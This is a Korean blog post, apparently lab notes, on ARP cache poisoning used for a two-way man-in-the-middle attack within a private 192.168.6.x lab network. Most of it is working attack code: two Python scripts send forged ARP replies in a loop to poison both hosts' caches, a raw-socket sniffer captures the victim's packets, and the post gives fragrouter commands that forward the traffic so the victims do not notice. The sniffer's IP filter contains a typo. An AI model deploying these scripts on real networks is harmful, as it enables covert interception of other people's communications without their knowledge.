본문 바로가기
프로그래밍/NETWORK HACKING

[네트워크 보안] ARP Cache Poisoning을 이용한 ARP Spoofing

by B T Y 2017. 6. 23.
반응형

* 수동 아이피 설정

 

-/etc/sysconfig/network-scripts/ifcfg-eth0

BOOT=static
IPADDR=192.168.6.x
NETMASK
GATEWAY
DNS1
DNS2


네트워크 아이디: 192.168.6.0
넷마스크: 255.255.255.0
게이트웨이: 192.168.6.1

 



ARP Cache Poisoning

  - 타겟 호스트의 ARP 캐시 테이블을 오염

 

 

ARP Spoofing

  - 대표적인 sniffing 기법중에 하나
  - MITM( Man In the Middle )Attack


 

양방향으로 통신 가로채기( ARP Spoofing(양방향) 실습 - 실습환경: linux )

 

- arping.py, arping2.py, sniffer.py, fragrouter툴을 이용해서 실습을 진행했다.

 

target  : 192.168.6.113(linux)
dst     : 192.168.6.200
attacker: 192.168.6.112

 

 

  - 113번에 arp 캐시 테이블을 200번 ip주소를 112번 MAC주소로 오염시키고 
    양방향 스니핑을 위해서 200번 arp 캐시 테이블은 113번 ip주소를 
    112번 MAC주소로 오염을 시켜 양쪽다 112번을 통해서 통신이 되도록 만든다.

 

  - 그다음 스니퍼와 fragrouter를 실행 시켜주고 113번과 200번에 통신을 스니핑한다.

 

  - 113번과 200번 사이에 통신이 일어나면 그 내용이 112번 사용자를 거쳐서 가게 되고 
    112번으로 들어온 패킷은 fragrouter 툴을 이용해서 포워딩을 이용해서 113번과 200번도 서로
    정상적으로 통신이 되게 만들어주면 상대방 모르게 통신 내용 스니핑이 가능하다.
    ( fragrouter -B1 명령을 이용해서 포워딩 해준다 )

 

  * arp.py에서 dst MAC 주소에 브로드캐스팅 주소를 적지 않고 타겟에 대한 정확한 MAC 주소를 작성했다.


 

- fragrouter 툴( 목적지가 다른 패킷을 목적지로 포워딩 해주는 기능 )
fragrouter rpm

 

* fragrouter 실행
#> fragrouter -B1

 

* fragrouter는 인터넷에서 rpm으로 검색해서 받으면 된다.

 

 

arping.py

 

import socket
import time
from header.eth import *
from header.arp import *

 

sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW )
sock.bind( ('eth', socket.SOCK_RAW) )

 

eth = Eth()
arp = Arp()

 

eth.dst = '00:50:56:29:B0:0E'
eth.src = '00:50:56:3B:25:F8'
eth.type = 0x0806

 

arp.hard_type = 1
arp.hard_len = 6
arp.proto_type = 0x0800
arp.proto_len = 4
arp.opcode = 1
arp.sender_mac = '00:50:56:3B:25:F8'
arp.sender_ip = '192.168.6.200'
arp.target_mac = '00:00:00:00:00:00'
arp.target_ip = '192.168.6.113'

 

while True:
  sock.send( eth.header + arp.header )
  time.sleep(1)

 

arping2.py

 

import socket
import time
from header.eth import *
from header.arp import *

 

sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW )
sock.bind( ('eth', socket.SOCK_RAW) )

 

eth = Eth()
arp = Arp()

 

eth.dst = '00:50:56:31:A8:43'
eth.src = '00:50:56:3B:25:F8'
eth.type = 0x0806

 

arp.hard_type = 1
arp.hard_len = 6
arp.proto_type = 0x0800
arp.proto_len = 4
arp.opcode = 1
arp.sender_mac = '00:50:56:3B:25:F8'
arp.sender_ip = '192.168.6.113'
arp.target_mac = '00:00:00:00:00:00'
arp.target_ip = '192.168.6.200'

 

while True:
  sock.send( eth.header + arp.header )
  time.sleep(1)

 

sniffer.py

 

import socket
import struct
import time
from header.packet import *

 

raw = socket.socket( socket.PF_PACKET, socket.SOCK_RAW )
raw.bind( ('eth0', socket.SOCK_RAW) )

 

while True:
  data, addr = raw.recvfrom( 65535 )
  packet = Packet( data )

  if packet.eth.type == 0x0800 and (packet.ip.src == '192,168.6.113' or \
     packet.ip.dst == '192.168.6.113'):
     print("data: ", data)
     print(packet.ip.src + " -> " + packet.ip.dst)
     print()

 

 

반응형

댓글